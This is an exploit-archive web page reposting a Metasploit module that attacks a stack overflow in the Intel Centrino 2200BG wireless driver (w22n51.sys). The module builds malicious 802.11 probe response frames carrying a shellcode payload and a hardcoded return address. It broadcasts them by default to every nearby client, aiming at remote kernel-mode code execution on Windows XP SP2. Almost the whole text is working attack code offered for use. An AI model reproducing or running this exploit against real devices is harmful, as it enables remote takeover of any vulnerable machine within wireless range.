首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Intel Centrino ipw2200BG Wireless Driver Remote BOF Exploit (meta)
来源:overet [at] securitydate.it 作者:Giuseppe 发布时间:2008-04-18  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'

module Msf

class Exploits::Windows::Driver::Intel_Centrino_2200BG_driver_probe < Msf::Exploit::Remote

include Exploit::Lorcon
include Exploit::KernelMode

def initialize(info = {})
super(update_info(info,
'Name'           => 'Intel Centrino 2200BG Wireless Driver Probe Overflow',
'Description'    => %q{
This module exploits a stack overflow in the w22n51.sys driver provided
with the Intel 2200BG integrated wireless adapter. This stack overflow
allows remote code execution in kernel mode. The stack overflow is triggered
when a 802.11 Probe response frame is received that contains multi vendor specific tag
and "\x00" as essid and essid length element. This exploit was tested with version 8.0.12.20000
of the  driver and an Intel Centrino 2200BG integrated wireless adapter. Newer
versions of the w22n51.sys driver are provided from Intel to resolve this flaw.
Since this vulnerability is exploited via probe response frames, all cards within
range of the attack will be affected.

Vulnerable clients don't need to have their card in a particular state for this exploit
to work.

This module depends on the Lorcon library and only works on the Linux platform
with a supported wireless card. Please see the Ruby Lorcon documentation
(external/ruby-lorcon/README) for more information.
},

'Author'         =>
[
'oveRet \'Giuseppe Gottardi\' <overet [at] securitydate.it', # exploit dev
'skape' # windows kernel ninjitsu
],
'License'        => MSF_LICENSE,
'Version'        => '$Revision: 4529 $',
'References'     =>
[
['URL', 'http://www.kb.cert.org/vuls/id/524332'],
['URL', 'http://www.milw0rm.org/exploits/3158'],
['URL', 'http://overet.securitydate.it/stuff/2200BG_8.0.12.20000_drivers.zip']
],
'Privileged'     => true,
                       
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},

'Payload'        =>
{
'Space'    => 224
},
'Platform'       => 'win',
'Targets'        =>
[
# Windows XP SP2
# 5.1.2600 (xpsp_sp2_gdr.070227-2254)
[ 'Windows XP SP2 (5.1.2600), w22n51.sys 8.0.12.20000',
{
'Ret'      => 0x8054eb62,
'Platform' => 'win',
'Payload'  =>
{
'ExtendedOptions' =>
{
'Stager'       => 'sud_syscall_hook', # don't change this
'PrependUser'  => "\xeb\x02" + # required jump
  "\x85\xe0", # fixed max len
'Recovery'     => 'idlethread_restart',
'KiIdleLoopAddress' => 0x804dbb27,
}
}
}
]
],


'DefaultTarget' => 0
))

register_options(
[
OptString.new('ADDR_DST', [ true,  "The MAC address to send this to",'FF:FF:FF:FF:FF:FF']),
OptInt.new('RUNTIME', [ true,  "The number of time to run the attack", 1000]),
OptInt.new('DELAY', [ true,  "The number of seconds to sleep between the packets", 1]),
], self.class)
end

def exploit
open_wifi

                rtime = datastore['RUNTIME'].to_i
dtime = datastore['DELAY'].to_i
count = 0

print_status("Sending probe exploit to #{datastore['ADDR_DST']}...")
print "[-] "

while (count < rtime)
wifi.write(create_beacon)
select(nil, nil, nil, 0.10) if (count % 100 == 0)
count += 1
#Exit if we get a session
break if session_created?
                       
print "#"
sleep(dtime)
end

print "\n"
print_status("Completed sending probe.")
end

def create_beacon
bssid  = ("\x43" * 6)
src    = ("\x43" * 6)
seq    = [rand(255)].pack('n')

fill   = 0xe0 - (payload.encoded.length - 125)

frame =
"\x50" +                      # type/subtype
"\x00" +                      # flags
"\x3a\x01" +                  # duration 
eton(datastore['ADDR_DST']) + # dst
src   +                       # src
bssid +                       # bssid
seq   +                       # seq 
rand_text(8) +            # timestamp value
"\xa0\x0f" +                  # beacon interval
"\x31\x08" +                  # capability flags

# ssid tag
"\x00\x00" +

# supported rates
"\x01" + "\x01" + "\x82" +

# current channel
"\x03" + "\x01" + channel.chr +

# fixed max len
"\x85\x7b" +

payload.encoded +

# fill to reach e0 length
("\x41" * fill) +

# vendor specific tag
"\xdd" +
"\x18" +
"\x00\x50\xf2\x02\x01\x01\x89\x00\x03\xa5\x00\x00\x27\xa5\x00\x00" +
"\x42\x54\xbc\x00\x62\x43\x66\x00" +

# vendor specific tag
"\xdd" +
"\x10" +
"\x00\x50\xf2\x05\x00\x01\x00\x04\x00\x00\x83\x07" +

# RET address
[target['Ret']].pack('V')

return frame
end
end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·BS.Player 2.27 Build 959 SRT F
·DivX Player 6.6.0 SRT File SEH
·Microsoft Works 7 WkImgSrv.dll
·OpenInvoice 0.9 Arbitrary Chan
·MS08-025 win32k.sys NtUserFnOU
·PHP-Fusion 6.00.307 Remote Bli
·MS08-025 win32k.sys NtUserFnOU
·SubEdit Player build 4066 subt
·BS.Player 2.27 Build 959 SRT F
·Adobe Album Starter 3.2 Unchec
·BigAnt Server 2.2 PreAuth Remo
·RedDot CMS 7.5 (LngId) Remote
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved